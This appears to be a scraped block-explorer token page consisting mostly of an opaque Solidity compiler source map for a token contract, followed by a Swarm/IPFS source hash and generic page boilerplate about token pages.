;;;7411:16:0;;;;;;:12;:16;;;;;;;;7410:17;7387:40;7379:49;;;;;;7447:8;;;;7443:85;;7481:31;7508:3;7481:22;7492:10;;7481:6;:10;;:22;;;;:::i;:::-;:26;;:31::i;:::-;7473:39;;7443:85;7582:12;7560:18;;7545:12;;:33;;;;:::i;:::-;:49;;:73;;;;-1:-1:-1;7598:14:0;;-1:-1:-1;;;7598:14:0;;;;:20;;7614:4;7598:20;7545:73;7542:143;;;7646:23;7665:3;7646:14;:6;7657:2;7646:10;:14::i;:23::-;7638:31;;7542:143;7711:13;;-1:-1:-1;;;;;7703:21:0;;;7711:13;;7703:21;:55;;;;-1:-1:-1;7742:15:0;;-1:-1:-1;;;;;7728:30:0;;;7742:15;;7728:30;;7703:55;:83;;;;-1:-1:-1;;;;;;7764:22:0;;;;;;:18;:22;;;;;;;;7762:24;7703:83;7699:309;;;7826:12;;7816:6;:22;;7808:60;;;;-1:-1:-1;;;7808:60:0;;12666:2:1;7808:60:0;;;12648:21:1;12705:2;12685:18;;;12678:30;12744:27;12724:18;;;12717:55;12789:18;;7808:60:0;12464:349:1;7808:60:0;7921:14;;7911:6;7895:13;7905:2;7895:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7887:79;;;;-1:-1:-1;;;7887:79:0;;13020:2:1;7887:79:0;;;13002:21:1;13059:2;13039:18;;;13032:30;13098:28;13078:18;;;13071:56;13144:18;;7887:79:0;12818:350:1;7887:79:0;7985:5;:7;;;:5;:7;;;:::i;:::-;;;;;;7699:309;8024:28;8055:24;8073:4;8055:9;:24::i;:::-;8099:8;;8024:55;;-1:-1:-1;8099:8:0;;8098:9;:34;;;;-1:-1:-1;8119:13:0;;-1:-1:-1;;;;;8111:21:0;;;8119:13;;8111:21;;8098:34;:49;;;;-1:-1:-1;8136:11:0;;;;;;;8098:49;:82;;;;;8172:8;;8151:20;:29;8098:82;:102;;;;;8190:10;;8184:5;;:16;8098:102;8094:388;;;8221:49;8247:6;8238:8;;:15;:31;;8261:8;;11753:16:::1;:67::i;8238:31::-:0;8254:6;8221:16;:49::i;:::-;8318:21;8361:22;;8358:109;;8408:39;8425:21;8408:16;:39::i;:::-;8202:280;8094:388;7364:1129;7326:1167;-1:-1:-1;;;;;8521:15:0;;;;;;:9;:15;;;;;;:27;;8541:6;8521:19;:27::i;:::-;-1:-1:-1;;;;;8505:15:0;;;;;;:9;:15;;;;;:43;8573:36;8591:17;:6;8602:5;8591:10;:17::i;:::-;-1:-1:-1;;;;;8573:13:0;;;;;;:9;:13;;;;;;;:17;:36::i;:::-;-1:-1:-1;;;;;8559:13:0;;;;;;;:9;:13;;;;;:50;;;;8625:37;;;8644:17;:6;8655:5;8644:10;:17::i;:::-;8625:37;;1685:25:1;;;1673:2;1658:18;8625:37:0;;;;;;;8676:7;;8673:149;;8740:4;8722:24;;;;:9;:24;;;;;;:35;;8751:5;8722:28;:35::i;:::-;8715:4;8697:24;;;;:9;:24;;;;;;;:60;;;;8775:35;;-1:-1:-1;;;;;8775:35:0;;;;;;;8804:5;1685:25:1;;1673:2;1658:18;;1539:177;8775:35:0;;;;;;;;8673:149;7050:1779;6981:1848;;;:::o;1270:190::-;1356:7;1392:12;1384:6;;;;1376:29;;;;-1:-1:-1;;;1376:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1416:9:0;1428:5;1432:1;1428;:5;:::i;:::-;1416:17;1270:190;-1:-1:-1;;;;;1270:190:0:o;10091:106::-;10160:11;;10152:37;;-1:-1:-1;;;;;10160:11:0;;;;10152:37;;;;;10182:6;;10160:11;10152:37;10160:11;10152:37;10182:6;10160:11;10152:37;;;;;;;;;;;;;;;;;;;8993:923;4931:8;:15;;-1:-1:-1;;4931:15:0;4942:4;4931:15;;;9092:16:::1;::::0;;9106:1:::1;9092:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9092:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9092:16:0::1;9068:40;;9119:19;9141:35;9172:3;9141:26;9157:9;;9141:11;:15;;:26;;;;:::i;:35::-;9190:9;::::0;9119:57;;-1:-1:-1;;;;9190:9:0;::::1;;;9187:79;;;9229:25;9243:11:::0;9229;:25:::1;:::i;:::-;9215:39;;9187:79;9294:4;9276;9281:1;9276:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9276:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9320:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9320:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9276:7;;9320:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9310:4;9315:1;9310:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9310:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9385:15:::1;::::0;9353:62:::1;::::0;9370:4:::1;::::0;9385:15:::1;9403:11:::0;9353:8:::1;:62::i;:::-;9426:15;::::0;:196:::1;::::0;-1:-1:-1;;;9426:196:0;;-1:-1:-1;;;;;9426:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9507:11;;9426:15:::1;::::0;9549:4;;9576::::1;::::0;9596:15:::1;::::0;9426:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9636:9:0::1;::::0;-1:-1:-1;;;9636:9:0;::::1;;;::::0;-1:-1:-1;;9636:28:0;::::1;;;;9663:1;9649:11;:15;9636:28;9633:276;;;9716:12;::::0;-1:-1:-1;;;;;9716:12:0::1;9706:23;::::0;;;:9:::1;:23;::::0;;;;;:40:::1;::::0;9734:11;9706:27:::1;:40::i;:::-;9690:12;::::0;-1:-1:-1;;;;;9690:12:0::1;9680:23;::::0;;;:9:::1;:23;::::0;;;;;:66;;;;9806:4:::1;9788:24:::0;;;;:41:::1;::::0;9817:11;9788:28:::1;:41::i;:::-;9779:4;9761:24;::::0;;;:9:::1;:24;::::0;;;;;;;;:68;;;;9872:12:::1;::::0;9849:48;;1685:25:1;;;-1:-1:-1;;;;;9872:12:0;;::::1;::::0;9849:48:::1;::::0;1658:18:1;9849:48:0::1;;;;;;;9633:276;-1:-1:-1::0;;4969:8:0;:16;;-1:-1:-1;;4969:16:0;;;-1:-1:-1;8993:923:0:o;1468:246::-;1526:7;1550:1;1555;1550:6;1546:47;;-1:-1:-1;1580:1:0;1573:8;;1546:47;1603:9;1615:5;1619:1;1615;:5;:::i;:::-;1603:17;-1:-1:-1;1648:1:0;1639:5;1643:1;1603:17;1639:5;:::i;:::-;:10;1631:56;;;;-1:-1:-1;;;1631:56:0;;14715:2:1;1631:56:0;;;14697:21:1;14754:2;14734:18;;;14727:30;14793:34;14773:18;;;14766:62;-1:-1:-1;;;14844:18:1;;;14837:31;14885:19;;1631:56:0;14513:397:1;1631:56:0;1705:1;1468:246;-1:-1:-1;;;1468:246:0:o;1722:132::-;1780:7;1807:39;1811:1;1814;1807:39;;;;;;;;;;;;;;;;;:3;:39::i;1126:136::-;1184:7;1211:43;1215:1;1218;1211:43;;;;;;;;;;;;;;;;;:3;:43::i;939:179::-;997:7;;1029:5;1033:1;1029;:5;:::i;:::-;1017:17;;1058:1;1053;:6;;1045:46;;;;-1:-1:-1;;;1045:46:0;;15117:2:1;1045:46:0;;;15099:21:1;15156:2;15136:18;;;15129:30;15195:29;15175:18;;;15168:57;15242:18;;1045:46:0;14915:351:1;1862:189:0;1948:7;1983:12;1976:5;1968:28;;;;-1:-1:-1;;;1968:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2007:9:0;2019:5;2023:1;2019;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1354:180::-;1413:6;1466:2;1454:9;1445:7;1441:23;1437:32;1434:52;;;1482:1;1479;1472:12;1434:52;-1:-1:-1;1505:23:1;;1354:180;-1:-1:-1;1354:180:1:o;1721:247::-;1780:6;1833:2;1821:9;1812:7;1808:23;1804:32;1801:52;;;1849:1;1846;1839:12;1801:52;1888:9;1875:23;1907:31;1932:5;1907:31;:::i;1973:456::-;2050:6;2058;2066;2119:2;2107:9;2098:7;2094:23;2090:32;2087:52;;;2135:1;2132;2125:12;2087:52;2174:9;2161:23;2193:31;2218:5;2193:31;:::i;:::-;2243:5;-1:-1:-1;2300:2:1;2285:18;;2272:32;2313:33;2272:32;2313:33;:::i;:::-;1973:456;;2365:7;;-1:-1:-1;;;2419:2:1;2404:18;;;;2391:32;;1973:456::o;2623:118::-;2709:5;2702:13;2695:21;2688:5;2685:32;2675:60;;2731:1;2728;2721:12;2746:309;2811:6;2819;2872:2;2860:9;2851:7;2847:23;2843:32;2840:52;;;2888:1;2885;2878:12;2840:52;2927:9;2914:23;2946:28;2968:5;2946:28;:::i;3268:127::-;3329:10;3324:3;3320:20;3317:1;3310:31;3360:4;3357:1;3350:15;3384:4;3381:1;3374:15;3400:1121;3484:6;3515:2;3558;3546:9;3537:7;3533:23;3529:32;3526:52;;;3574:1;3571;3564:12;3526:52;3614:9;3601:23;3643:18;3684:2;3676:6;3673:14;3670:34;;;3700:1;3697;3690:12;3670:34;3738:6;3727:9;3723:22;3713:32;;3783:7;3776:4;3772:2;3768:13;3764:27;3754:55;;3805:1;3802;3795:12;3754:55;3841:2;3828:16;3863:2;3859;3856:10;3853:36;;;3869:18;;:::i;:::-;3915:2;3912:1;3908:10;3947:2;3941:9;4010:2;4006:7;4001:2;3997;3993:11;3989:25;3981:6;3977:38;4065:6;4053:10;4050:22;4045:2;4033:10;4030:18;4027:46;4024:72;;;4076:18;;:::i;:::-;4112:2;4105:22;4162:18;;;4196:15;;;;-1:-1:-1;4238:11:1;;;4234:20;;;4266:19;;;4263:39;;;4298:1;4295;4288:12;4263:39;4322:11;;;;4342:148;4358:6;4353:3;4350:15;4342:148;;;4424:23;4443:3;4424:23;:::i;:::-;4412:36;;4375:12;;;;4468;;;;4342:148;;;4509:6;3400:1121;-1:-1:-1;;;;;;;;3400:1121:1:o;4526:388::-;4594:6;4602;4655:2;4643:9;4634:7;4630:23;4626:32;4623:52;;;4671:1;4668;4661:12;4623:52;4710:9;4697:23;4729:31;4754:5;4729:31;:::i;:::-;4779:5;-1:-1:-1;4836:2:1;4821:18;;4808:32;4849:33;4808:32;4849:33;:::i;:::-;4901:7;4891:17;;;4526:388;;;;;:::o;4919:356::-;5121:2;5103:21;;;5140:18;;;5133:30;5199:34;5194:2;5179:18;;5172:62;5266:2;5251:18;;4919:356::o;5632:127::-;5693:10;5688:3;5684:20;5681:1;5674:31;5724:4;5721:1;5714:15;5748:4;5745:1;5738:15;5764:422;5853:1;5896:5;5853:1;5910:270;5931:7;5921:8;5918:21;5910:270;;;5990:4;5986:1;5982:6;5978:17;5972:4;5969:27;5966:53;;;5999:18;;:::i;:::-;6049:7;6039:8;6035:22;6032:55;;;6069:16;;;;6032:55;6148:22;;;;6108:15;;;;5910:270;;;5914:3;5764:422;;;;;:::o;6191:806::-;6240:5;6270:8;6260:80;;-1:-1:-1;6311:1:1;6325:5;;6260:80;6359:4;6349:76;;-1:-1:-1;6396:1:1;6410:5;;6349:76;6441:4;6459:1;6454:59;;;;6527:1;6522:130;;;;6434:218;;6454:59;6484:1;6475:10;;6498:5;;;6522:130;6559:3;6549:8;6546:17;6543:43;;;6566:18;;:::i;:::-;-1:-1:-1;;6622:1:1;6608:16;;6637:5;;6434:218;;6736:2;6726:8;6723:16;6717:3;6711:4;6708:13;6704:36;6698:2;6688:8;6685:16;6680:2;6674:4;6671:12;6667:35;6664:77;6661:159;;;-1:-1:-1;6773:19:1;;;6805:5;;6661:159;6852:34;6877:8;6871:4;6852:34;:::i;:::-;6922:6;6918:1;6914:6;6910:19;6901:7;6898:32;6895:58;;;6933:18;;:::i;:::-;6971:20;;6191:806;-1:-1:-1;;;6191:806:1:o;7002:140::-;7060:5;7089:47;7130:4;7120:8;7116:19;7110:4;7089:47;:::i;7147:168::-;7220:9;;;7251;;7268:15;;;7262:22;;7248:37;7238:71;;7289:18;;:::i;7672:251::-;7742:6;7795:2;7783:9;7774:7;7770:23;7766:32;7763:52;;;7811:1;7808;7801:12;7763:52;7843:9;7837:16;7862:31;7887:5;7862:31;:::i;8849:306::-;8937:6;8945;8953;9006:2;8994:9;8985:7;8981:23;8977:32;8974:52;;;9022:1;9019;9012:12;8974:52;9051:9;9045:16;9035:26;;9101:2;9090:9;9086:18;9080:25;9070:35;;9145:2;9134:9;9130:18;9124:25;9114:35;;8849:306;;;;;:::o;9439:245::-;9506:6;9559:2;9547:9;9538:7;9534:23;9530:32;9527:52;;;9575:1;9572;9565:12;9527:52;9607:9;9601:16;9626:28;9648:5;9626:28;:::i;9689:127::-;9750:10;9745:3;9741:20;9738:1;9731:31;9781:4;9778:1;9771:15;9805:4;9802:1;9795:15;9821:135;9860:3;9881:17;;;9878:43;;9901:18;;:::i;:::-;-1:-1:-1;9948:1:1;9937:13;;9821:135::o;12334:125::-;12399:9;;;12420:10;;;12417:36;;;12433:18;;:::i;13173:128::-;13240:9;;;13261:11;;;13258:37;;;13275:18;;:::i;13306:980::-;13568:4;13616:3;13605:9;13601:19;13647:6;13636:9;13629:25;13673:2;13711:6;13706:2;13695:9;13691:18;13684:34;13754:3;13749:2;13738:9;13734:18;13727:31;13778:6;13813;13807:13;13844:6;13836;13829:22;13882:3;13871:9;13867:19;13860:26;;13921:2;13913:6;13909:15;13895:29;;13942:1;13952:195;13966:6;13963:1;13960:13;13952:195;;;14031:13;;-1:-1:-1;;;;;14027:39:1;14015:52;;14122:15;;;;14087:12;;;;14063:1;13981:9;13952:195;;;-1:-1:-1;;;;;;;14203:32:1;;;;14198:2;14183:18;;14176:60;-1:-1:-1;;;14267:3:1;14252:19;14245:35;14164:3;13306:980;-1:-1:-1;;;13306:980:1:o;14291:217::-;14331:1;14357;14347:132;;14401:10;14396:3;14392:20;14389:1;14382:31;14436:4;14433:1;14426:15;14464:4;14461:1;14454:15;14347:132;-1:-1:-1;14493:9:1;;14291:217::o
Swarm Source
ipfs://bcbdee1b25d1a3b2f5e2e3a7d0a61ee8e7760e85670d0ee437c0206bee3a3d9d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.